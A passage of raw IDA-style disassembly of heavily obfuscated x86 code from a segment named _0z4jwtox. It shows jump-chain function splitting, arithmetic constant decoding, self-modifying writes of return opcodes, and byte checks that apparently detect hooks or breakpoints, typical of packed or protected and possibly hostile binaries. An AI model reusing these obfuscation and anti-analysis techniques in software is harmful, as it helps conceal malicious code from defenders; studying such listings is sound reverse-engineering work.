		jmp	loc_757098
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
		xchg	edx, edi
		jmp	loc_74C45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752B0C


loc_74860F:				; CODE XREF: sub_752B0C:loc_74EE0Dj
		xor	ecx, 47BA23B9h
		add	ecx, 6F60992Eh
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_12
		mov	byte ptr [eax],	0C3h
		jmp	loc_74F27C
; END OF FUNCTION CHUNK	FOR sub_752B0C
; ---------------------------------------------------------------------------
		call	nullsub_279
		jmp	ds:dword_41F148
; ---------------------------------------------------------------------------


loc_748637:				; CODE XREF: _0z4jwtox:00756C69j
		jmp	loc_7502C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74863C:				; CODE XREF: sub_747C39+CAE3j
		jmp	loc_745474
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_748641:				; CODE XREF: sub_753176+6j
		jmp	loc_7491EB
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_748646:				; CODE XREF: sub_74E762-500j
		jmp	loc_757307
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------


loc_74864B:				; CODE XREF: _0z4jwtox:0075485Ej
		pushf
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_74864C:				; CODE XREF: sub_75622B:loc_74F2E5j
		add	eax, 0B7A03627h
		call	sub_746E93
		push	ecx
		push	0EC56D0Dh
		pop	ecx
		rol	ecx, 18h
		and	ecx, 0B30A5D74h
		jmp	loc_7526DD
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AF9C


loc_74866C:				; CODE XREF: sub_74AF9C:loc_745802j
		push	edi
		push	eax
		pop	edi
		xchg	edi, [esp+4+var_4]
		mov	eax, edx
		jmp	loc_752D24
; END OF FUNCTION CHUNK	FOR sub_74AF9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_748679:				; CODE XREF: sub_74FE55-2AEFj
		jge	loc_752303
; END OF FUNCTION CHUNK	FOR sub_74FE55
; START	OF FUNCTION CHUNK FOR sub_7539AE


loc_74867F:				; CODE XREF: sub_7539AE-DB29j
		jmp	loc_74F00B
; END OF FUNCTION CHUNK	FOR sub_7539AE
; ---------------------------------------------------------------------------
		test	ebp, ebx
		jmp	loc_74EA06
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F124
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	al, 24h
		mov	edx, ebx
		pop	ebx
		jmp	loc_752565
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752737


loc_74869C:				; CODE XREF: sub_752737-BBD9j
		jnz	loc_74CAA7


loc_7486A2:				; CODE XREF: _0z4jwtox:00754E6Fj
		jmp	sub_75364C
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------
		jmp	loc_754E74
; ---------------------------------------------------------------------------


loc_7486AC:				; CODE XREF: _0z4jwtox:0074B3E6j
		jmp	loc_74CD50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_7486B1:				; CODE XREF: sub_74A96E-4676j
		jmp	loc_757578
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 8ED18106h, 0F3E2CC5h, 60C58Ah, 3C850F00h, 85000008h
		dd 43CFE9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_7486D2:				; CODE XREF: sub_747B31:loc_7528D1j
		mov	eax, ds:dword_74B948
		or	eax, eax
		jnz	loc_7557B6
		jmp	loc_74D98A
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_7486E5:				; CODE XREF: sub_7508F9:loc_754191j
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		xor	[ebp-8], eax
		jmp	loc_7455C8
; END OF FUNCTION CHUNK	FOR sub_7508F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_7486F9:				; CODE XREF: sub_7501AF:loc_745710j
		pop	ecx
		xor	ecx, 80751A1Ah
		test	ecx, 40000000h
		jmp	loc_74E70E
; END OF FUNCTION CHUNK	FOR sub_7501AF

; =============== S U B	R O U T	I N E =======================================



sub_74870B	proc near		; CODE XREF: _0z4jwtox:00745E05j
					; sub_746B7C+Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00746613 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00748BF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F21E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007551C3 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax


loc_74870F:				; CODE XREF: sub_7474B9+8487j
		cmp	dword ptr [ebp-8], 0
		jle	loc_7488E0
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_746613
sub_74870B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748723	proc near		; DATA XREF: sub_746C5E+3F7Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074645D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074733D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00749176 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00749210 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074F5D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007525F6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00754DD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075665B SIZE 00000005 BYTES

		sub	eax, 7407BC01h
		ror	eax, 13h
		mov	edx, [esp+0]
		push	ebp
		jmp	loc_754DD5
sub_748723	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1BD


loc_748735:				; CODE XREF: sub_74D1BD+15j
		lea	eax, nullsub_6
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_74D1BD

; =============== S U B	R O U T	I N E =======================================



sub_748743	proc near		; CODE XREF: sub_40517E+5FDp
					; _0z4jwtox:0074DAB5j
					; DATA XREF: ...
		push	ecx
		push	offset loc_7511C9
		jmp	nullsub_33
sub_748743	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74874E:				; CODE XREF: sub_74A7D8+A2D9j
		jo	loc_74BF8D
		test	eax, ebx
		jmp	loc_74FF3B
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C4BB


loc_74875B:				; CODE XREF: sub_74C4BB:loc_755806j
		or	ebx, 1DB60D4h
		jns	loc_74EE74
		pushf
		test	esi, 5C353C7Ch
		jmp	loc_74EE6D
; END OF FUNCTION CHUNK	FOR sub_74C4BB

; =============== S U B	R O U T	I N E =======================================



sub_748773	proc near		; CODE XREF: _0z4jwtox:00747D15j
					; sub_7558BD+6p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745807 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A974 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074CDA6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074D97F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F802 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074FF10 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00755117 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	eax
		mov	[ebx], eax
		pop	ebx
		jmp	loc_745807
sub_748773	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	edi, esi
		test	edx, 0C0151044h
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_748788:				; CODE XREF: sub_755E40-160Fj
		jmp	loc_7496A2
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
		mov	ds:dword_41F110, eax
		lea	eax, sub_7467F4
		mov	byte ptr [eax],	0C3h
		jmp	sub_7467F4
; ---------------------------------------------------------------------------


loc_7487A1:				; CODE XREF: _0z4jwtox:007467FAj
		mov	eax, [esp]
		push	edx
		jmp	loc_7538CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_7487AA:				; CODE XREF: sub_74B719-54EEj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_755B94


loc_7487BA:				; CODE XREF: sub_74B719-5503j
					; sub_74B719-54F4j ...
		js	loc_755D0D
		mov	eax, [ebp+8]


loc_7487C3:				; CODE XREF: _0z4jwtox:0074F8DFj
		test	byte ptr [eax-10h], 38h
		jmp	loc_74C3BE
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E03D


loc_7487CC:				; CODE XREF: sub_74E03D+18j
		setz	al
		call	sub_7452F3
; END OF FUNCTION CHUNK	FOR sub_74E03D
; START	OF FUNCTION CHUNK FOR sub_755CFC


loc_7487D4:				; CODE XREF: sub_755CFC:loc_755D08j
		pop	ecx
		shl	eax, 7
		jmp	loc_75334B
; END OF FUNCTION CHUNK	FOR sub_755CFC
; ---------------------------------------------------------------------------
		db  0Fh
		db  8Bh	; 
		db 0EBh	; 
		db 0C9h	; 
		db    0
		db    0
		db 0E9h	; 
		db  42h	; B
		db 0B4h	; 
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F266


loc_7487E8:				; CODE XREF: sub_74F266:loc_74F272j
		push	offset loc_74D155
		jmp	loc_74F4E2
; END OF FUNCTION CHUNK	FOR sub_74F266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75299B


loc_7487F2:				; CODE XREF: sub_75299B:loc_7529A6j
		jnz	loc_74B9CF
		jmp	loc_7467E0
; END OF FUNCTION CHUNK	FOR sub_75299B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_7487FD:				; CODE XREF: sub_745911+7B4j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_747CE0
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0E9h
		jz	loc_747CE0
		jmp	loc_7500E4
; ---------------------------------------------------------------------------


loc_74881A:				; CODE XREF: sub_745911:loc_7460ABj
		mov	eax, [ebp+var_4]
		jmp	loc_7489AA
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_748822:				; CODE XREF: sub_7523A2-8C9Ej
		sub	esi, 0D4ABE3FEh
		or	esi, 0D2381308h
		add	esi, 237A5C2h
		xchg	esi, [esp+0]
		jmp	loc_750656
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------


loc_74883C:				; CODE XREF: _0z4jwtox:0074801Bj
		jnz	loc_7520B1
; START	OF FUNCTION CHUNK FOR sub_74DE6C


loc_748842:				; CODE XREF: sub_74DE6C+1Cj
		jmp	loc_754741
; END OF FUNCTION CHUNK	FOR sub_74DE6C
; ---------------------------------------------------------------------------
		cmp	edi, edx
		jmp	loc_746761
; ---------------------------------------------------------------------------
		mov	eax, 662F423h
		push	esi
		call	sub_747197
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74885A:				; CODE XREF: _0z4jwtox:00756856j
		jmp	loc_752AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74885F:				; CODE XREF: sub_752D11+Dj
		mov	al, [eax]
		js	loc_750E81
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_752488
; END OF FUNCTION CHUNK	FOR sub_752D11

; =============== S U B	R O U T	I N E =======================================



sub_748871	proc near		; DATA XREF: sub_74FE55-934Fo
		call	sub_75375E
		mov	eax, 0C0F1A028h
		call	sub_746D0D
sub_748871	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74FA24


loc_748880:				; CODE XREF: sub_74FA24+8j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74FA24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_748885:				; CODE XREF: sub_747C22+635Aj
		or	ebx, ecx
		add	ecx, 0F44987C3h


loc_74888D:				; CODE XREF: sub_747C22:loc_75518Ej
		push	0EBE2F0E4h
		pop	eax


loc_748893:				; CODE XREF: _0z4jwtox:007473A1j
		add	eax, 76DBECF4h
		rol	eax, 1Dh
		sub	eax, 0A2F1CDF9h
		xor	eax, 1EFE4127h
		jmp	loc_747948
; ---------------------------------------------------------------------------


loc_7488AD:				; CODE XREF: sub_747C22:loc_75752Ej
		pop	esi
		rol	esi, 1Bh
		add	esi, 78271854h
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_751E67
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_7488BF:				; CODE XREF: sub_747A94:loc_74D2CDj
		jnz	loc_74EA7F
		jmp	loc_755E4B
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_7488CA:				; CODE XREF: sub_745C55:loc_756CF7j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_745C52
		jmp	loc_74A9B6
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7488D8:				; CODE XREF: sub_747C22+Cj
		test	al, al
		jnz	loc_7488E4


loc_7488E0:				; CODE XREF: sub_749B76-24EAj
					; sub_74870B+8j ...
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_7488E4:				; CODE XREF: sub_747C22+CB8j
		mov	eax, [ebp-4]
		jmp	loc_74D8D2
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_7488EC:				; CODE XREF: _0z4jwtox:00751E9Dj
		not	edx
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_7488EE:				; CODE XREF: sub_74FE55:loc_75440Cj
		or	edx, ebp
		shl	esi, 0Ah


loc_7488F3:				; CODE XREF: _0z4jwtox:loc_751E95j
		and	eax, 814CC10Bh
		add	eax, 0F80C8293h
		add	eax, ebp
		add	eax, 86AABD59h
		jmp	loc_746D6A
; END OF FUNCTION CHUNK	FOR sub_74FE55

; =============== S U B	R O U T	I N E =======================================



sub_74890C	proc near		; CODE XREF: sub_7474B9+F482p
					; _0z4jwtox:007574CEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074E3A7 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	edi, [esp-4+arg_0]
		jmp	loc_74E3A7
sub_74890C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_748918:				; CODE XREF: sub_752D11-6E02j
		xor	eax, 0D00EDB0Fh
		call	sub_7514AC


loc_748923:				; CODE XREF: sub_74DDDA+Fj
		jmp	loc_746843
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_748928:				; CODE XREF: sub_74A7D8+17BBj
		jmp	loc_74E620
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746CC3


loc_74892E:				; CODE XREF: sub_746CC3+6143j
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_746CC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7545C6


loc_748933:				; CODE XREF: sub_7545C6:loc_75345Bj
		ror	eax, 1Ah
		push	offset sub_74E986
		jmp	loc_752440
; END OF FUNCTION CHUNK	FOR sub_7545C6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75497D


loc_748941:				; CODE XREF: sub_75497D+9j
		jmp	loc_74DDA5
; END OF FUNCTION CHUNK	FOR sub_75497D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_748946:				; CODE XREF: sub_7475CB-29j
		jmp	loc_74C12D
; END OF FUNCTION CHUNK	FOR sub_7475CB

; =============== S U B	R O U T	I N E =======================================



sub_74894B	proc near		; CODE XREF: sub_75100C:loc_7562CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745EF6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00746820 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0074B54E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075308A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755247 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007552E1 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp+8+var_8]
		push	48839769h
		jmp	loc_75308A
sub_74894B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C39


loc_74895B:				; CODE XREF: sub_752C39:loc_751038j
		xchg	esi, [esp+4+var_4]
		jmp	loc_74DDA5
; END OF FUNCTION CHUNK	FOR sub_752C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_748963:				; CODE XREF: sub_74CF35-42FFj
		xor	edx, 2FEC5A54h


loc_748969:				; CODE XREF: sub_74CF35:loc_746183j
		push	offset sub_752A54
		jmp	loc_7534A2
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_748973:				; CODE XREF: sub_745911-C8j
		jl	loc_74EC2E
		or	ebp, 0F467D0E0h
		jmp	loc_747CF4
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA04


loc_748984:				; CODE XREF: sub_74BA04+B02Cj
		pop	esi
		or	esi, 0D3303C28h
		sub	esi, 6818CDD1h
		or	esi, 0D26292E8h
		sub	esi, 4053BDBEh
		add	esi, 405D7FF8h
		add	eax, esi
		jmp	loc_75086B
; END OF FUNCTION CHUNK	FOR sub_74BA04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_7489AA:				; CODE XREF: sub_745911+2F0Cj
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_75162C[eax*4],	0
		jz	loc_747CE7
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_747CE0
		mov	eax, [ebp+var_4]
		jmp	loc_748154
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F128
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	esi, ecx
		rol	dword ptr [eax], 0
		pop	edx
		mov	eax, [esp]
		jmp	loc_75033B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74952C


loc_7489E4:				; CODE XREF: sub_74952C+Cj
		jz	loc_748CAE
		jnz	loc_749C5F
		jg	loc_74B32E
		jmp	loc_748CAE
; END OF FUNCTION CHUNK	FOR sub_74952C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_7489FC:				; CODE XREF: sub_748C3B+851Dj
		jmp	loc_754049
; END OF FUNCTION CHUNK	FOR sub_748C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B822


loc_748A01:				; CODE XREF: sub_74B822:loc_747F27j
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_74B822
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_748A06:				; CODE XREF: sub_755E40+1262j
		ja	loc_75364F
		mov	ebx, 0B437EB38h
		jmp	loc_746194
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_748A16:				; CODE XREF: sub_747A94+D955j
		sub	al, 99h
		push	0C7A42A63h
		jmp	loc_74EE58
; END OF FUNCTION CHUNK	FOR sub_747A94

; =============== S U B	R O U T	I N E =======================================



sub_748A22	proc near		; CODE XREF: sub_745C34p
					; _0z4jwtox:00757428j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 007454A9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 007468A1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074823D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00749B65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A921 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074AFDB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C943 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CA41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074D933 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DB25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074DC40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EAF8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074FE3B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007533C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753630 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007552E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756C08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00756C44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756EC0 SIZE 0000001A BYTES

		xchg	esi, [esp+0]


loc_748A25:				; CODE XREF: _0z4jwtox:00754CD3j
		pop	esi
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_74A921
sub_748A22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_748A3A:				; CODE XREF: sub_74BF3A:loc_746A2Ej
		jl	loc_754B94
		test	edx, edi
		jmp	loc_750033
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------
		push	ecx
		push	offset sub_753D1A
		jmp	locret_74D92D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_748A52:				; CODE XREF: sub_74B1F1:loc_750BE7j
					; sub_74B1F1+735Ej
		push	offset loc_746945
		jmp	loc_74DA48
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_748A5D:				; CODE XREF: sub_749980+30BCj
		jz	loc_74BEE2
		jmp	loc_746C1D
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_748A68:				; CODE XREF: sub_7541BA-B4FAj
		call	sub_749BBA


loc_748A6D:				; CODE XREF: sub_757251+13j
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_7541BA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F8B


loc_748A73:				; CODE XREF: sub_753F8B+18j
		jmp	loc_747ACD
; END OF FUNCTION CHUNK	FOR sub_753F8B
; ---------------------------------------------------------------------------


loc_748A78:				; CODE XREF: _0z4jwtox:0074FDF0j
		jmp	sub_756FF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F7B1


loc_748A7D:				; CODE XREF: sub_74F7B1+Aj
		jmp	loc_74B77D
; END OF FUNCTION CHUNK	FOR sub_74F7B1
; ---------------------------------------------------------------------------

locret_748A82:				; CODE XREF: _0z4jwtox:0075545Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_748A83:				; CODE XREF: sub_749306+5BA0j
		jnz	loc_749380
		jmp	loc_746E9E
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747D98


loc_748A8E:				; CODE XREF: sub_747D98+Bj
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1


loc_748A9C:				; CODE XREF: sub_74F73B+8112j
		jmp	loc_747E14
; END OF FUNCTION CHUNK	FOR sub_747D98
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_5
		jno	loc_751362
		call	sub_74B091
; START	OF FUNCTION CHUNK FOR sub_746389


loc_748AB2:				; CODE XREF: sub_746389:loc_74D740j
		call	sub_745480


loc_748AB7:				; CODE XREF: sub_75364C-DAE3j
		jmp	loc_751E3F
; END OF FUNCTION CHUNK	FOR sub_746389

; =============== S U B	R O U T	I N E =======================================



sub_748ABC	proc near		; CODE XREF: sub_747622:loc_752A2Bp
					; _0z4jwtox:007536D7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xchg	esi, [esp+0]
		pop	esi
		add	eax, eax
		cdq
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		jmp	loc_74D74F
sub_748ABC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebx, 7C13CCF8h
		shl	edx, 17h
		jmp	sub_747778
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_748ADC:				; CODE XREF: sub_752520-373Ej
		jge	loc_75723B
; END OF FUNCTION CHUNK	FOR sub_752520
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_748AE2:				; CODE XREF: _0z4jwtox:loc_746DEEj
					; sub_7473E6+4189j ...
		jmp	loc_754D4C
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_748AE7:				; CODE XREF: sub_74D1F3+11j
					; _0z4jwtox:loc_75728Cj
		pop	ecx
		call	sub_753D03


loc_748AED:				; CODE XREF: _0z4jwtox:00753255j
		jmp	loc_74FAF3
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_748AF3:				; CODE XREF: sub_757151-CD76j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------


loc_748AF8:				; CODE XREF: _0z4jwtox:0074C559j
		mov	eax, 0A7A44D83h
		push	offset sub_74ED9C
		jmp	loc_74A788
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_748B07:				; CODE XREF: sub_74721B+6905j
		jnz	loc_746E2D
		jmp	loc_74626A
; END OF FUNCTION CHUNK	FOR sub_74721B
; ---------------------------------------------------------------------------
		mov	eax, 4CF1C9EDh
		push	ebx


loc_748B18:				; CODE XREF: _0z4jwtox:loc_75117Bj
		mov	ebx, esi
		call	sub_757671
; START	OF FUNCTION CHUNK FOR sub_746640


loc_748B1F:				; CODE XREF: sub_746640+100F1j
		jmp	loc_74FCD5
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B822


loc_748B24:				; CODE XREF: sub_74B822+Dj
		jmp	loc_747F19
; END OF FUNCTION CHUNK	FOR sub_74B822

; =============== S U B	R O U T	I N E =======================================



sub_748B29	proc near		; DATA XREF: sub_7514BF+1C20o
		mov	[ebp-8], eax
		jmp	loc_75144F
sub_748B29	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BED4


loc_748B31:				; CODE XREF: sub_74BED4+78A8j
		test	byte ptr [ebp-8], 8
		jz	loc_74F00B
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_74FDCA
; END OF FUNCTION CHUNK	FOR sub_74BED4

; =============== S U B	R O U T	I N E =======================================



sub_748B44	proc near		; CODE XREF: sub_74A372+7p
					; _0z4jwtox:0074FB79j

; FUNCTION CHUNK AT 0074933F SIZE 00000005 BYTES
